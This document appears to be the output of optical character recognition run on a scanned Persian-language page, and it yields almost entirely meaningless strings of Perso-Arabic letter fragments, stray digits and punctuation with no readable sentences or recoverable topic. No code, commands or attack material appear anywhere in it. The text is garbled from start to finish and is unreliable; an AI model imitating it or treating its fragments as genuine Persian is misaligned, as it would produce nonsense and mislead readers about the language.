ال یفاب نامع
ال
ت
۳
رت و 4 ۹
ی وشات یت یفجن ۶
/
2 سم یرت ال رو سرا
رن 7 7 بر ۳
ره
ین نان رز زان با
۲ 092 ان" ۰ ان رابگر و
۱ 6 ۱ ره ۹ ۱ 5
| منت دنپ یمرو بت
7 ون رف دمم حکا !یز اي رابب دورد
7 ۱
س
۱ رل درون دوش لاد تن رز
۱ | مه !| 2 روخ سا م تور
ٌ
سر رات تانب کمزم ال و و
۳
و ۰7 7
۰
۰ 2
بل امرقت و ود ودنک مابرو ری
ح
۰ ۳7 1
1 9۳2 که
یگ
رازن سروب خر بل نز
مرفت مسرارج ي ره سیم ای 7 /
3 کح
| میدس لب ۱9
1 پ
۱ ۳ ام در کال دس و
۸ هه عم 5 مر ی
۱ ال سین مق س
7 7
بل 7 ۹
دس
ری مهار ویک
۳ . ۰ ۰ ِ ۰
7 / من وارواا! مرش وت کم اما ما
تیزم نشفر
وف ویر یوش کراز ارات روت وا
3 2 دی
ی
بفت يس ییات زنب
م روش ب کشت ای رون رده تنل
ارت سل ریما شام
۷
پر رجا تن من رس ۱
زً ارت رای بو و رشب ی ۱
۱
۱ بزحنادرست | 7 ۱
۱ ار ست را دنم
۱ انن ضرون ر فت مب
۱ ی ای مهوت را 4 6
۱ رشن ۸ ده بر 7 1
اا/ رب رز تضعی ند سم
اکتا + لور نصا اه 8
۱ ررض ت نا سنوی شرب مگ
ان من کت نمتب را
/ تپ سک ررکم 21 ا شم سک ۳ بر
7 دش نيد یت ی
را این( 2 سووا #-
7 ی مرو رو
تاک ار ووستحصت ان دپ ریت در درالنداروتو) 0 1
7
1 +
رتست کی اش ای اسب ات ۳
1 خلت برارو 1
اروت ترش 7 ۱
مینست رم زوافعسرورن سر کٌ
توب سل زورما یط
مریم تسا ری و
مزر کر وود اس دپ با نگرچسبت ری لته
ریسم سوت موب راز مر رنیپان
دزن زر درف 1 7 تب اراط
سم ۳ برمسران 1 رازن
و نت رن
من ریا دنیکانرایا تس و 3
رده 1 درل( انوم بیش اه
شنت[ یا
مرو سیک تکاس ی نرب هلال
یعچج: مت مره ری دسون ال
وت
۳ ۳
بت نکش وتاب ب7
۱ لا ی ونر
ِ 0
۳ رم را رو ود ی سا مد مس ب 4
۰
ید 9 ۰ رم
ژر فشک رک ری روشک
۱ سر
۱ 4 مر ید مایب مسب وروی دیهان مهد رارکت
۱ ریب دورد ول ینب
ح_ِ
۱ 1 سبت سرا لکررگر و
کید 3 یموب ّ نت
اا مت رن رم زرن شرا من مب عک
سر
۱ من س ری 77 مر برن22]
۱
۳2 ی
۱ ای ار زا 1 نّ
۱ ۱۱ [/رن رتاش ت بت مسر
ررض نم شرزانت 1 ۱
| ین رای 0
بٍ
۱ | ی رل رورم را 9
۳ 3
۱
۱ | ای کنر هرن ها رت :
افنشدرم) مینز رت |
۱ ۰ ی ۱ ۱
ا اسبکشت الوم رب ناسنا __ ۱
۱ رت رت مرت ونر و
۱ کب
ون زوین شرت مب نهر ۱
<< |
از 0 ۳2
سیر اما وهای( گرا 7 7
۱ مان هن با شمان ما ررض 7
۱ یرب ودردیاس رولب 0 1 ی
۱ موس مدرد
| 0
َ
۱ میلست بان لقن سری: ان
یلکش زان ید درب
که ض تپ
ما بت کون زار و مش 9 ۱
شک
منرت شمه گرا
|| لطاب دام زیم رمک و ۱
رسد
۱ | ن ن بت
۱
مت
ح 7 ۱
ند رس ۱۳ ز/
۰"
رم
ن رز ریپ ول دورس ار وم ی 1
ار ی ین 27
17۳4 ریا ان مت ۱
ی |
هریس تسیر کت یلع وخ درفب
ای اران مینست کرک رت
وود سیفد ۱-۳۳
مها
ی لت رکه 1
رتیت 0
ت ان سل مر وست رز کی
نیاو رمپش) ریت رت
ان ادن تام تکام زان م99 اب
سروب هن 3
رات بوذ سود زِ تتاعات 247 ۴
دح
5
۱ 7
مب شواک 3 چرس رگ یگس اس
0 رادسدانت ۳
۱ رن مر
۱ سرا شش رم ۳
۱ رفیت) 7
۱ ریک رت
ات ال شا پیت چررع)< کر بت رن
تست کف مک ول
اي لت را یت یی لب
۱ رورشفت مت در تک رتست را
ِثِ ۰
۸ ۰ ۰ 2 ی ۰ ۰ ش 7
سروب ار رانراو وک نداتفا پر دار
رورت مت ما رن مرش رلیرا زانستسمت پوت رب
کسیر رل رکنم
و تام کت کون کل رصم
۱
۱
۱
۱
ال ت-
نام سپ مت بح اسب ۱
تالامکست ن تن من
مک رن دی ام چام
ود مک سبزايم در نادمه 2
9 7 مک ۱
| اشعای اي با لاس و ی ی
سینان(صام عت یهن ان است ری
مور ارس ات
ای مت شترا با
چپر چپ را( مورا رکشت ابر رن اومیت مک ۱
0
۷ مک رکفت ۶۱ را ریگ روحم ریت رن ۱
ایشا سيسات سست را ال
کدی پیت دمن 7
۱ | دنر بش رتش شم« او
5
۱ ۱ امیلر زر
7
۳ ۳ "2 ۳9|
ال تکرش مت روصت شب نز با رورس زان
| رب سپضرنت و را راو /]/
راز ورب شرن/ خدور رش ان نا
اد من ان رل نثو و ی و
رد ۱
تن کرت ی
يد ی کپ
ان مب رن یت دم ۳ 7 1
ربتک رات شرگن لت رکه
۳ یت مت
رن د؟ ور یت درد ویک مزا تیا
یکت يت در
رتست ربمت یز 9 ۱
دا ریک تست الاتمرزه ِّ ۱
دزن م/: مس ان ۳
۱
جح سح ح(
۱ رم ین ونر عال ره ۳
انشا رز ن سرت
۱ 0
1 7 7
۱ رکفت ربمت راک در ۹
۱
۱ انیت رت
سثت دا رس تک کب 74 و روف
س"+ شک هی داره و
۱ 71
۱ مش و ارو زد ۳
۱
ان تن یادن
۱ 1
1
۱ سا برض 2 زا
۲
تپ نت
۹
بل بو _ درم راو وت - را ری ار
|
۱ ای امرس کشت و
تون 0
1۷
ترپ ینم مس نزب
|
/
ّ
اد
جح <<
۸ 2و7 ۳
ع/ تور زین بت مرت
0 یت زرط مت دما ون کدرا لش تا |
شت ویر رادومن مرو ۳
4
0 اس عم رش رک
شیور 0 1
ات7 ی ی رن زرد 4
1 رت ولزت | 1 ری
ت
0
#۸ راو ند
مت( رزیت سرت
>
یمد رست مر مت | یت ول 9
: 71
پاوش ییون ۵ که نی
۱ ال تن نزن
«
اسان ار درو سکن بارس را مت
ً سر رنه مان 197
ح عح
7 و خر
۱ را تک ار ی ۱۳
تست ۳ رم 72
2 مر سرا یر یش 2
ی 7 ور شرت
ار »۳ دماین ریت 2/0 ص
/
2 و از رتست ور رش وم رسب و
بجا يم ای رن ار ارب ثِ شرا کر
ه و ی ی نکم # ره ر
اشتل) یس مرا زیت 9 70
را تام هه
ی
۱ نز ی
رتاش گر
رف رل ر
۳ (0
مناج
۱ یت رال زان لس
| رشتب کبس تفن زرمپری) ان
۱ 71 مک ما دون تن وم من
رن دب بر
19 ان تن مزا
و یوس ت نت( شیر نان رزیت رورت
ور رت رم اسان ّ
لش یی رت بآ یزان ۳ 9
ادن ست) اش ت/ و زور بت داضت 4 نتب
0 7
0 رز زر سا مک
/ 0 7
درو رت رس مر[ رن 7 نورد و
7/
72 ,
رن و
1 ۱
مک
و رف کی ۳۳
ً
ااارش ۳ 1 5 رس تک لژ اروت زر رن"
رن وا ی رتست م 7 ارت
2
سور سار ی ۳ نت درس,زشت او 4
7 بت
سر تال نی ی یزیا م5
و نت 2 ۳
ره 9
9 اشامت مره ن72 وداسست ویر طورش ۱
ت نت فن کت 0 ۱
2
ترشیت و و ۱
ارت مر امسر رز 2 درا طرش ۳
/
دی وی و
و
۱ ۳ روز | ۱
وت ۳
۳۳ مم ۱
1 2 ۱
۱
أ ور کتک رب نکستن دوک رسب 3 ۱
۱ ود 7 ۸ |
۱ هدن عم مورا کت ون رسیهی وت
درل ساب ار
1 ات تصت تج
9
سِ
جح که
771 بوافت فرب نت اطرواظرا موز ساره
ی رام انح یش رم شت من |
مه و
ی ست اومستست درز
درم رکفت انش مرت مرازی نا نش
1 ات ید میژر 717 بن لت ۱ تکفا
مه رو ار تشر رفح
رت رمیات ری ست 2
سار
ین اد تفت سره
تم وت کرام ای کب ز دتم
وا ۳ ۳ (سحت اک وید 27 72
سا ٍِ_ ۳ ۱ بت /0 و مسبت
مرو بت بویت کین + سول ت نی
1 ۳ 7
تناس مرن تعرس
۱ شم
۱ 2 ینوکت پر زو
۱ 7 7 ۱
۱ آ ونم ریت ست دور رمع مس ]
۳ دانت/ و زا رت درل 7 دام ار مر
رن سکب وی
۱ تست ان مرو ار نام ست مارگ نار
سر نیاو مارم بت ندرک
۱ ریسفت بر ۳ مرمسیبگان تيب
۱ لد یت( کنر دمن ۳ 2
أ عیرست شم 7
2 دپ پست در ۱
مب ۳2 رام
ردو زوم 9 کر
وم ۱
1 روک اور محات رپشپ نزن
۱ تست ری و
را لیا باس و وتف ۷
عیام لد 9 یر تفت ۳
ا
۰
7 ۱ نك 0 رو
۱ سامت 4
۱ اکلت نکب رن يم ابیت مان
۱۱ ]شیب مرروب رس برو 9 روشرشر ترپسا س دورن !
>
2 م 7 ِ و
7
طه یرت نت شنده ور درامت اورمتافت که دا
ی ما 7 ۰۰ 7 فتر
پراش نیت ینک مه ارب رنه ودک دا 7
9 و
ی مضه
۱ ررنتینء/ سس ریت بکرم برسم سگرن ۶ ۳ 0
۱ کل تیان اور نت نت ری 1
ِ
یی ال زر 2
مب رپ زین وب 4 5 ۱
0 ۱ من ۱
۳
توت تنم ین ترا ات 7
عون
2 2 تِِ
یر نب نس این مر
ی اک ۳ ارسآنت را
72 و شالت یم 1
اد ۳ 2 ۱ 17
یکت ابا مب فاگ ۱
۱ یا اچرا زا( ان
- ۰ ۰
۳/9 6 از سپ ان
لت
راو تن دا رشن رتیت بر
1 نیلرب ارت 2 قرو یسب
1 بوایاررت 0 و
رورا ک مت مرت یک بانگ! 7
1 ۳
شک لگ م دروسپ رن روا هت
۱
سر و ور و رگ یال کش تا دش راو شمه
موذیت پیت اراچیما ارو سره ر ات1 مک ۱
9 ود
کرت پر منت ردپ یت راربا ۱
ار
1
2 تست سح
بت ز ورپ یک بت مه
اد
۱ رجات سینت سک
رورت ِ بیست وس روپ ما ول کش تا / دیف سور
۰)
/
مر وم 7
۱ ج لوب هنشت درو رات امن رازب
۱ و
۱ یف هی دک ری ابیت
رک« ک نا سل یر مش
اک سکن بر ور
بر کشا رز موز رپ ره دپ کب
کم روا ی
۳
۱ 9 / 2 اد و
۱ ام یواست بر( دیس |
5
۲
2 ْ و
9 ا ول راما با ور ود ما رابت
۷
5
سته|
5
اسب کت یشم کوب دک نا
۰« و
و تست ابر لک رن نرسد ب5ه 90
4
تسار مود یرت تسوا مش ۵
3 / رس |
0 ی هتفر ار ام ام ۱
۱ رب لت در نس تارب ت۵٩
رش لت ورن تکرام ری و اسندیر 2 ۱
و رن شرفت پم مایت و وشوو را | ۱
دا ده ۱
1 شهار
یش 2 بت نان ی / ی
ی ات کش يم
توت رن شنت رب
م 0 تیلست یت رترت وا 7 درم وی وت
آکرد دورن" نت مان ندرم
ت ی کت ور ون دش رت ور
هي ی رخ و
مرن
رم ۱
انس رو بت نت
از
1 ۳74 ۲ سح
یو رسلعت روپ وا ردپ ولیک251
ره رم میرداا
مر طرش ه تارج
پنسا نت رز 0
نصز همست رکفت
میت 0 ی ی 1
0 برور لا دجم ۱
1
أ فتاه ی ی
ارات کمن ره 7
نت 2 ور ۳۷4 اش پم من بّ وس
اراد
ارمپ رن بت روللت سِ مرت ید تور
او
مر شم رن نیت شهب رن
0 تگنت) مرت رین دوک شب ارم 7
۳
میب ان ارت رن مش 1/۵
یتک دیزی
| کت ِ و مت نوم 9 یا ر لور 2
سر .ها 5 اه
۱ 3 رون دوز رم ۱
کر رت 0 رک ۱
۱ مساگرا نیزا 0
پر 2 رت وق رن یزرا رت رت 1
۱ طبر نی مب و ده
اس تن رو واوشت و 19 رش م7
/
) لا شییرن رل شا بتک
مروت رات کیان یف دی تک
سس
۱ کف راون مش رن ینت وزیا
1
۱۷ اما کدرا وچانک
تیاو سک ربا انس میت بت ی
| تست یقن 79 مر لو مر
۱ نت رپ شتا عال[ ۲۸ دنت ها
تب
۱ 2
| | سشتای رزیت تفت یب زیت ۱
تک ۳
7/۳۱ 2 77 یر مه ۷7
|( اس ری وت لا ادعب اماب ؟
1 1 ۳ 7 ۰ ه 7
۱ رز مکی ورب بيترت ارچ 1
اا رکشت ی رف ریت ریسفت
اسر ۳ تزا زا ان یز نم
سا ۵ ۳
را بت ام زاو نت پرکیر تست ارس رام
۱ بت نموم مت رن رسد زا
۱ کرد ریت روا یتست زد
4 7
رن ره است» 0
ات یپرد
ا رکشت ورراجلشت خن ام مت
| مور در ر مس کرت نم
"+
دیسا ۵ ۳
۱ ۳ رتش مک
۱
| /
|| اجن72 لد او تن را ادست ی
را
۱ ی 7 کی ريز وجعس هل
1
۰
۱ تور ورس ثٍ#
۱ رت نت ی
۱ ۳
۱ امسر اروش یتست مه رلسفت 1
ی دعس تک تلبت نت رس
رم
۱ 0 یست تلا وشن ود هر ۶
نج 1 ات و ریت لت من
۱ را
۱ با رخ نها نم هر
یروا اتسور وا رت 71
۱ كٍِِ
۱
۱ کیت 2 در نون
شتا ریسا دارهم ینت ت 1 رگ ئ
من ید
۱
ات
و۳ #7 لت وا ات رفت ام
1
۱ تا
۷" م7 بل ۰
کس ون دورو دوب سکب «مو ای ما
۱ حصح 1
۳1
۱ باکترا کم ۱
آ رت 2 ۳ ۱
۱
۱
زیمت زررنبض مه از رپ
مع اهنا سکع را مزر( ۱
7 ۱
يمک 4 7 رگن ام
ل پطلبرکنت رز ری لک
رو رورزوتگ )تن ات
رتیت نزو وی ن ودب روت
نی
و ی 2
۱ مینست یرت ورفت کر رص رد شیر یط
۱ : ان ۳ ۳4 و
۱ کر نت( ان مت سم رو
۱ لت ره نیرسن ۱
رین بیرض زد ۱
مب
۱ لاهن تست سب
| تست انم یی دیف تک نگ
۱ [سرانبهن رن ر گنت رت ِ
۱ یش بهسنامر دسا ن درعبت رل رز سر 9
امت ام 2 در سا لب و س
پاش او 7 ری زا ۳
دی[
ریت مت مت رالات از ا رتست | اورت مادک
7 مرت 0 ن هتکن
بعاست ار فد
0 مورا شک
حس امن
سل رن دش شرا او سل را راوس تک متام
تادراو رت دسر تال و
: / ۶ ط
عابر تا رن درا رم تشاب موه روپ
م7 0 مرع | 2
و یس ره مث ور نکش وسوا س
مات سل 7
راز ور نب اهنت ای ربا از
رت ی مارم |
5
اد سم ۰
7/۱ ۰ ِ ۰ ۷ ارام
ان میت زر رکشت تراپ پر
7 9 ۲ ۳ ر 9 7 9
وت ی نکنت پای یر ِ
219 ۲ ۷
وس
و ۳۹ / ۰ ۱
کار روست وان وردایلست اودر اه رب ماهر
ریوصت مرپزونر کل مد
2
7 ۳ / و
اس با دهم نایاش دوگ موم هرا ۱
بی دض پل رین ی
مر جنر مپرال رش را م7 و
۱ دم میات
و مرن سم بر #ربررل کت ک
ات
و زرا 71 #9 تب موز ریبدت ای سدسرم
ام آآبس تین 0
خلت با ری زا ل/ مایا کین نم تک / ۳
اهرکشت یگیب زرش تیگ نآرد ی
رتشیب دو میت شرف
نی ام کدی نا ریات پاش
هِ
ات
سس
۳
و ید خی رک ۱ ۱
که سای ری تنس
امنیس درم 0 |
وی زل و ال وت «بکرل ,رت / شیکیبه
۱ ارو بوست مرو 7 نی روز ۱
۱ رن کی اي
۱ تب ی
۱ سر تیان لب رتور ۳0
سنا جرف یبیل ۱
رف ۱
۱ رن ونان لاث ری مرت رم ۱
شین ۱
نا ود ام ورد داد 2
٩ 7 سک
را رال سوب برارنررال رکیرا روم ابا سک ود
اثبت شرن ۳ و دنو وک و رعای"
ترش اک و
ی شنت یت در ؟
7
ات
عم
21 حوه
۱ رد هر ام
شاه ری ابا کنر یک
ما ور روز شیر رک مرت مرک و 9
ار ات یر رک رما ای سا
رل ی رد9 رک بُ ک نا تشه
س ۳ نب رزل کل ینسن رل
ی م ریز وک وتو گر
ند نینک یک ردنت اوص جیورت روا 7
مدع تیار لسن رس
جرب مرجم و
۳ رد ی رات سل ش در 1 بدا
تن نورد که
و رنه رز زا ات
کل( او کل درن ریب نی
پیت
/ 2 0 و 2
۳-6 هه
1 , دم میسن مت ۳
۱ یه 2 انلرده دهم ری
رگد کر ردیل ناسین دلب« ی 1
۱ ۱ 0 ندهین 102 ۳
۱ ۱ 7( دیملبخو
۱ ۱ داتدا مراب وحاپ هرا ۳97 من
من هی حرش از |
زد 7
ین رت
رراررشکت اا سا نکن تست رن
۱ بان چات( مد
م أ 9 سک رت
و
۱ 1
۱ اشنا را کر رین دا
أ اک ار ی تور
افعو
۱ 2 یی سا و
7
۱ 1 اف انیب میات « زد
۳ ٍِ
مرش اراد سپ مرن با این ررااشت ی
تست 0
۰
۳
ی رکفت ی و اوگلش ی ن زورمین
۰
ِ
رت کب وبرگیست رگ 2 ینب ند 1
سا دیدش رت پر رام و 7
برددیا سّ جر مبنابست ستا رو نا
7 رم لت رسب ناما اسوت دلوت وت
27 کرو یذ 0 ری با
منکن رز 7 روین کات یبن
سیرک نگ 0 دریگ ۳7
ک ۳ ۱
۳ چم مر رالکا
#۷
مارا دریگ« ارشمکن ت کی ره انیت
7 ۰ کارا
مخ تک یت ِ مایم
9(
رد عم رکشت ادرب برش بش4 ۳ ۱
۱ وت تست برش 0 یرت
رولیت ادبم رن بپ_
ری اک ره و ایب( پر
/ ری
ی ولرم سس کدرا درک ی مایب ون
شکور
وم رامین رکفت ای یدوبن ی
رن
لت
دا رمک یف را ۳ رک
سررست
72۸۱
میت ریت ونر مت با وش تما« رن
پ پورگ 5 رتست احال۶ا رشررزشت رن
ال زار 2 ی مره زو وسم 714
تکیرکر ز ی و زب را ور 7
خبزکتم # ودرا یکت یز
اي ات رس
9۹ ان دب دست و ف لت مین
رک سار سیب لت 1/57
/ 4 1 ۰ تقد و 21
رتاو سح لت ابر ادد لیمکت رراخروس نمی ری م۱
|السسسسند
ِ ۰ ۰ 7 5 7
۱2 لس کت روط
س
بوخ وت اقا لب 0 "۳ 0 ۰
۱
4 ۱
۱ 7
۰ ۰ ُ
| | رت وگ داسب اد منت سپ لس !
4 4 ی
۱ 4
رگا ريد فضلزقشیاصال 4
کل رت
أ ۱ 9و
۱ ۳ ی نت 2
زر کی نکم درا زوا زا مب
بر وگو را 7 اسال! رکشت | دشر
اک( زورون و دپرون ماس بت تا ار دز كِ
4 9 د زیت 7 تست
راك
دراوم تکض یزیا وس یمور
7 ِِ/ 2
نی ام امنمس مرها نارس ار #
ْ
7
مینز رن هت زب ۱
او يو وم ون درون بت کرو ما ۱
ر مان سرت رن )ری
0
| ین درون مت -کز ریت نو وک را را
کشت مورا مت کشت رکه
ام ده رتخد اه رس 7 3
| رن گم دای رورا انم
راک سک روص رونت و وت برش
وع رس
یک رم رن شت هرا سر کت
کر نت رسشاش نا وونج وب |
اک سک سیب رپلنت خا تن کر ارت رت
ای ك ی 1 و و را
اساو ۳
|« یبد ات عونت دوب
و ات 2۸ ۱9۳ سبا ۶ ۶ اساو عم
اسرد تست کت رما مرپسا 3۹ ربففت
۱ درسیودردان رای »ین مت راون ده
تیانع رو 0
0 تیه رکفت
0 متسر الین! مرکا
۱ شس تا شبن را یت هم در
| منت بت نکسم
اررش تم کنر« مرف تگاستا
خسن سک نت طَ س یت من وان
نت يشان يد که
7 نف
1 س جعن لد | م هر
۱ و سرویست ا یر ی
سس کی تن
۱
سح هه
ار ستاو 7 هت ۱
سوم ری روش مت مرو
وم «سانت یرون نی زو
نم سین رشان نو
کر ۱
ری ی شور نی وت 9 ۱
7 تپی تفت زو )رم یی تساه
۳
دایعا ,مچهضتآ زاره کیب وتان
کتک رل دی و
نت
۱ ات مر ین وز مت انم ده
/ دسر رون رد دس رون نی نمرون و ۱
مت یناساس نیت ورن رف بات | ۱
۱ ی ونم 7 1
2
حد
کت
دجسم رو
و ی نیمأت .سنوی
ی ۲ 7 مر
انیم هم موی اراسم َ
رت ای ری با ی
۱ ونر پم بتکم
ور اشگزسن) ره باس مکش 2-2 ۸
ره مر مب مر ۳
4 مرش اد بو ۳ رب و ی
زر ایرد مره نانک 7
لت ان ز هدوت و پل کل رن
۱ نت لوا اک
۱ ار کت رن سکن انم
۱ که ورن زد
ضم اب ی 0
۱ ۶ ونکت بر ماوت سرم لوا مسرت
۱
۹
وک دیسر بت سم ردب و شاک"
یتیب بسن زین رد ِ وم سك
7 2 ۳ ۳ |
تیم
نی شتا 0 یب |
ُِ متس تک انشا ربج
سسحه
ب سم 7 مر ۷ دم /وژ
ویک نک سور رو وزارت دارم واررش نت4
نس
رورنشافت ای وامرو و حِ
17 هر بر اواشت مربب نتب
۷ لت ای زبس تپ با و
۳ رونت
03
اکتواست بش را رش مرو وا ررشکشت اد بسن
رس کحم
روت مت ۳
الست دنت لَ
اس وراسا دا ۳ ] "2 ا
7 ایمیر رکشت ام یه ۱
۳ 1
س
| > 5
۳ ۳۳727 ۱
۱
ندشن کال نم ررقم ری ۱
۰ چم
راب ۷ 17 رم رگ
۱ کدی رنب مج
,)۳
و
هل امرگ بسن ری
کار مس اری ورسکتج رکشت رترب تن
ری تاداس ست انم ِ
راوس کت ی ۳
| 2 سترو تایاور نت) 2 س رز رک ر بر
مات اا وی سرت و و
یمد مس ۹
4 مش ۷۳ کت رازه را
رد دنت ام 77 دنر
مت يآ در
یناف تابر انح
1
یاس کت نت کت ۱
۱ ون اد نت مک 7 بر کشت مپا رت( ۳
۱ رن رم ۱
سرپ رو لکشتم درگ لس درایی درل رونت ۱
2
منکن نتص لت له رکفت وا ۱
الم یه سر رت رت , 2ص ۱
۱ رگا مت 2 0 ط ۱
مر زک وا کر رن تک یک نش شم دپ ۱
۳2
0 اف تزور هسب 0 ۱
رک کوب ادا مین رت
رت کر در 7 بسانتم وگ
مرش رم زستد) 0 0 ک ۱
اک ری ها شم برس افش 6 سکیا 2
مرک یماسا رتاک ۱
انم تست مره موش شرد رکفت اي نان 2 س
ره
|
ح ۳
۱ رن 7 9[ 0
اراس اند ۱
کذت رک لا بان در اما 1 9
میسرب کیب پر رد
کت که «رولین شا رس موی ۱
ی نجل لب برلفت پل ریت |
4 1
9 رکشت ( 7
۱ و . ِ
اهنت رم تسه
ک نوم ام بت چیه وفت اپ رین درو
ااشاراست مه کت اس ری رو وا اکتا ۱ ۱
| نت سور شیور کم کت رز وتاب
هر دپ
1 7
مس برس
7 ۳
سس
۱ کشت اف ور |
| رشن مرت ری ری رای
۱ نب امرس ِ
۱ کر بعج بر 3 کم موم ری
۱
۱ وان
مر مان اه رم هک ۱
۱
| دنم کت رت رو
۱ 2
۱ کنو یتنا ن نیت 4
۱ ساب ایا ی
۱
۱
1
7 تام مورا وعا رین و رت
07 پا رای 1 شوه[ ۱
مناد ره 0 بت
سن «ردر من وم رم یلق اس رک
4 رل 4 کم 2 وتان تد
7۳7
۱ هر رم نت ول یت ۲
یازا پم 0 ون ۱
رس ارس مت و مرب 2 ۳
برشتاا رت نم ورس بلت متا
2 مس ی 9 (ید رت
ور و شرست درد نی شا ام
۱ کین وت مر
| رات ادرارتام رن یت
ایا روا را مر ی 9
س وم 2 دی ورن ن 1
ی سر نم ها
کنو لک زر
دی یرجم لب مپ ین ریت
۱
۱
۱
0 ی رسب ۱
ی مس با( ۱
سب -
۱ ۳
آرپ نهک ی
۱ رورم را نتم ۱
1 أ یر ی چم با
۱
ژ
۱ |ارآشتکسم ارو کر نیت ایک لت من
أ روز اهشور ور ریم دم
7 4
وا نیت رم دم میسن باکر یه
ی
رب 7 بت درون رون مر ریت ا رف ازر 7
9ص
کر لت ورین رین نب
مایمن نزن
اس او و
رم لت 0 ی
ری ر 0 7 شم 7۳ ۱
رخ رید رن لک | ۱
۱ ۳ 0
۱ م۲
یمسا جون ای 1 باق
1
سس
۱ ای رم روت 77
۱ نهک اه 9 ورشترا اب ا/ مک
سر یس رس یرل مت ٩
1/۸
۱ سر رت یت رتمک ۱
0 کته نت بت نان
۱ ۱ منرت وت رون هشن لا
نرتسو دبای ان بای
| کرا بای دمپایه | النت در بسن ین ری من
۱ ریز ند ی
ره دابا 5
۱ رز س_ ۳7 شمه نت توا
دس رن دسر پاین نم رت مب
سوپ "برد یال سر زر زو لبنت یر
ی بت
ارشت تا 9 3 ۱
تِ تحم
1۳
1 ورن یت
۱ رتست رس
۱ اس اب تفت ار ت
۱ ۱ 2 من ی گر مب ان ری
ْ
۱ ۱ 1 ا یدلج | ی
دنه سوت تاذ میت نان وگ
( ار کل یکی من أ
۱ مره ی ست با
1 مم 2 هس
۱ ما یارس و ی
ح ینتم شک دپ رگ
۱ | تکوس پوت نت تفر ۱
نت نشکا وت کت
أ ی تست ی
تیش ین نزمه 4 #7
|
2 سح
۱ وی
سس تب
7 ۳
۳۳|
أ رش ی منت رثا 2 ۱
۱ شرت( ۲ یزاب ۱
کیتسال پر لین بش تاه |
۵ 3 , ۱۳
پراورت مت مادک( سینت دب |
5 ری 7 رت
مروت مشش ریت ج ار لفط
7 2 7 ل
۱ مر ینت مرسپ
و
وب رش کت بلف دنت تلا 1
ون نیت مپدانت پمپ
تس ندرم ی ۱
مت رکشت سوا فرط
ی نکر نی |
کید ریت جرگ رش ون دک ۱
در نگ یلسانت ضی نا
۱
ا
۱
| پات نینس نونک ۱
لچد-
دنر پیت درد لور اش 7 در ابر را
۱ ره ناکت
۱ وشن داد ی مب ریزو ی 13
سر زم درون
۱ ارو سیورس یکشستمسض ات 9
۱ پرنارکسل نرب زب 1
رت + مش مرو ره رت 7
اک توص یتفر
۱ بای 7 ی
1 نس مت
7 ۰
۱ در )سپس بای 0 ۱
تست دا ی نورد رفسف ست رت | |
۱ شرفت دیسرن | ۱
ینب مس ی ۱
لش زر رزخ زور رخ [ِ_ ۱
بت
27 3 ۳ نب ور تب
۶2 رت ری و یش ریش 7
تب
سنا ایرث پیت منت اه ۱
دبس ریت | مرا" مر هک راشب
رو شوایس رت و کی
۱ ۳ مر
7 ات اشامر هت( جرک وخ نک
مرش ۶۸ ترلت «ادلن ایب رهبلنتراضا نام ۱
# ات نت 2 9
هرن سا متس رات ۳
ریت کر /دا نپول یب 7
نم ی تن رف
رس کر ار وم رن يم و ما
را مسبت لت دول ی ۱
تنل مب یضار ۱
و
ید تور ۸ 7 ۳ ِ
۱
دا
۱ چرنرنبشرتادت دا رر ییات سپ ن ارت
۱ ات پوت دورن مسر 6
2 ّ 1
۱ اجب دش کشت بو ا
۱
تیانع زوین ربتک
/ ی ۰ ۱
لایر ینت نزو نکال]
یمان و مرش تما ۱
۱
۱
۱ ره تدم مپ فا
کسنعبهبس| ۹ ان دیب مه
۱ ترش يكي دنل
۱ بت بلتم رت هون تشپ |
برس ( ی ۱
أ | نموت «ر بت نت :|
۱ 1 سک »ما رز تب ۱
7
1
ال 2 ۱39۳2
1 ان نان شش ورن یت وم ۰
حر سح
ارشمسری دیراد 1 رین
یتشترز رن 7
منت شترا راک رد ودرا زر
متس کل نو ما ور برض رز
مه یر رونت
راناین مدرد و رت سل مق رش وان
0 رنوست نزب رلفت وه
ریب تا : رن رامش ی 9
۱ یدصت دشر رک
نت زو
رم رت زا 7 رن رو ن
۱ چمسپ دم وال رس موز مرکا زور
۱ اس زر کیربت امامت 7
۷
۱ رن همرت ان رشان ا
رین بات 7۳۳۳۳۹ شش وس
اس ِ-
۱ 1 ی نس ۱۳
ماکان ری زا وخ مرک ۱
7 و کت |
۷ دیندرپ ,رت پرن| توت رم اسان ی 9
رب
و بط هکلب لسن 37
ور 117 ی رام | 9
پم نا 7 د میت ا از
ام
ی ۱
نان در یف ۳ ۱
۱ ان ب وب رالتره شرور نتم ی رک
۱ | رس الب رم ِ رش رت 1
۱ لت وا ی جریا
2
۱ ار رنشس را ات 7 تابر « بیان مهوت
رونت ۱
بل
تم کشت 7 ار ۱
۳۹
و ۱ ۱
و
ك-
۱ متا سکم مت مر سروس ۱ ت[
رای سرپ دا رشان نت ۰ ِ سا |
بت زرا شاب اما ان راونتج) ام ۳ 7
دزم ما رد رام تما رم ات گر ۱
2 ی ی کت ده ی
۱ کت زب ی
| پا رکفت
۱ |۸۲ مفت) یز 0 و ر 37
۱ هس جک موق دی 5
۱ نک رت ری ریت وه ۱
رتست کر گت زر
0 #
4 خر یس ماخ ۱
ارات ماد نت ك
۱ ۱ ره ۱ رش ی
۱ 3 فك
ِ
1
| نت رای
اشرمست با یت رکشت و ی
رت مخ سل 5
ور
ره پا رو رکفت یو نگ 023
۱ ۱
۱ 1 نکاررن»۱ ۱
لمح
۱ و
۱ سس تمه سل سر
۱ 7
۱ وب ند سک
ن کت جر تسپ و
۱ تکرش تفت ی
( پاگسنلیت سوب دمن مق رل میب ۱
۱ ۳
۱ زگ نت
| رد ت رس ی" ماه تنم ۳
۱ امیش رن او و یمرن
71 /
رگن لامپدانشری/| 73
7 7
مش هه برجم مر ۳ ادلی رس ررار کال
و سم ۰ ِ ها
7 میسن را موی( سس
۰ هه ب
دیف قرع تین دم
مت مار رو ۱۳ ره
ب لک ررتگرشرلمستامفت ها پر شیر
۰
ار
۳ ُ 7 ۰
دز اس ادسررل راشای رس 7 که
7
7 4 رتسم کاس لو تب
/
۸2
دی 7 کر یاپ
ینعی ری 7 و تتزیرکیماب بر ارت
مور وست شم شبن رتست
و رز ل
موم ادا 19
/ | ره رتش
ردای رکرن رستخه یت پر ریک
از وت رکب , زاگ رت دبلرنب!
رد ین 0 پل
سح
۱ وبا برد یت مر ۱۳۵
۱
| الم من
۱
۱ انار ۰ و
۰
وی رت رنب دادا رز
ام رات از زر ره 7ب 11 ار رها یا منت ره
ها
ِ 2 ۰ مسا
س 1" 3 ۳ ۱ وروی رل 72
مر سر برا رو اسر 1 4 و ۱
۱
۱
۱
۱
۱
۱
۱
